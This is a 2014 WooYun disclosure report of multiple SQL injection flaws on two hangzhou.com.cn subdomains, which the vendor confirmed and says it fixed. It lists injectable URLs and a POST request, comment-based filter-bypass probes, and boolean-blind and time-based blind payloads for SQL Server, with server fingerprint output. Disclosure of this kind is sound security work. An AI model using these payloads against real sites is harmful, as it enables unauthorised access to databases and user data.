当前位置:WooYun >> 漏洞信息

漏洞概要 关注数(24) 关注此漏洞

缺陷编号:wooyun-2014-052137

漏洞标题:杭州网多处SQL注入漏洞

相关厂商:hangzhou.com.cn

漏洞作者: HackBraid

提交时间:2014-02-27 11:31

修复时间:2014-04-13 11:32

公开时间:2014-04-13 11:32

漏洞类型:SQL注射漏洞

危害等级:中

自评Rank:6

漏洞状态:厂商已经确认

漏洞来源: http://www.wooyun.org,如有疑问或需要帮助请联系 [email protected]

Tags标签:

4人收藏 收藏
分享漏洞:


漏洞详情

披露状态:

2014-02-27: 细节已通知厂商并且等待厂商处理中
2014-02-28: 厂商已经确认,细节仅向厂商公开
2014-03-10: 细节向核心白帽子及相关领域专家公开
2014-03-20: 细节向普通白帽子公开
2014-03-30: 细节向实习白帽子公开
2014-04-13: 细节向公众公开

简要描述:

SQL注入

详细说明:

站点1:
http://home.hangzhou.com.cn/
站点2:
http://love.hangzhou.com.cn/
url:
http://home.hangzhou.com.cn/pic.php?pic_id=1330176_6
http://home.hangzhou.com.cn/fit_demo.php?product_id=1334587_106
http://love.hangzhou.com.cn/index_User.aspx?Sex=%e7%94%b7
http://love.hangzhou.com.cn/Club_hd_hg_Content.aspx?id=94
POST注入点:
http://love.hangzhou.com.cn/index.aspx __EVENTTARGET=&__EVENTARGUMENT=&__VIEWSTATE=%2FwEPDwUKLTgwNDM1Nzk4OWRki%2B9nKwjl0%2FWyYkexp3uSR%2BULVrM%3D&Top2$txtPassword=88952634&hasPhoto=on&gender=true&__EVENTVALIDATION=%2FwEWBgL4hNz7BwL24LysBQKBmcDBCAKj49rQAwKi49rQAwLo%2Fd%2FBD%2Fn%2FUQHryqxFN6f3YXCyqxzNK%2FUh&select=88952634&select=http%3A%2F%2Fwww.hcrtg.com%2F&select=88952634&Top2$ddlType=1&gender=2&minAge=18&maxAge=18&cityCode=-1&cityCode2=-1&Top2$txtUserName=88952634

漏洞证明:

一、http://home.hangzhou.com.cn/
http://home.hangzhou.com.cn/pic.php?pic_id=1330176_6
测试中发现过滤小写、=和_
测试语句1:
http://home.hangzhou.com.cn/pic.php?pic_id=1330176/**/Order/**/by/**/4--_6 正常

hz1.jpg


测试语句2:
http://home.hangzhou.com.cn/pic.php?pic_id=1330176/**/Order/**/by/**/5--_6 异常

hz2.jpg


测试语句3:
http://home.hangzhou.com.cn/pic.php?pic_id=1330176_6/**/Order/**/by/**/1-- 正常
测试语句4:
http://home.hangzhou.com.cn/pic.php?pic_id=1330176_6/**/Order/**/by/**/2-- 异常
二、http://love.hangzhou.com.cn/
http://love.hangzhou.com.cn/index_User.aspx?Sex=%e7%94%b7

Place: GET
Parameter: Sex
Type: boolean-based blind
Title: AND boolean-based blind - WHERE or HAVING clause
Payload: Sex=%e7%94%b7' AND 4320=4320 AND 'ERwz'='ERwz
Type: AND/OR time-based blind
Title: Microsoft SQL Server/Sybase AND time-based blind (heavy query)
Payload: Sex=%e7%94%b7' AND 9855=(SELECT COUNT(*) FROM sysusers AS sys1,sysusers AS sys2,sysusers AS sys3,sysusers AS sys4,sysusers AS sys5,sysusers AS sys6,sysusers AS sys7) AND 'iGYe'='iGYe
---
web server operating system: Windows 2003
web application technology: ASP.NET, Microsoft IIS 6.0, ASP.NET 2.0.50727
back-end DBMS: Microsoft SQL Server 2000
current user is DBA: False


POST注入点:

hz.jpg

修复方案:

过滤!

版权声明:转载请注明来源 HackBraid@乌云


漏洞回应

厂商回应:

危害等级:中

漏洞Rank:8

确认时间:2014-02-28 14:05

厂商回复:

已修复,感谢您的提醒。
网络有了你们,觉得安心了好多。

最新状态:

暂无


漏洞评价:

评论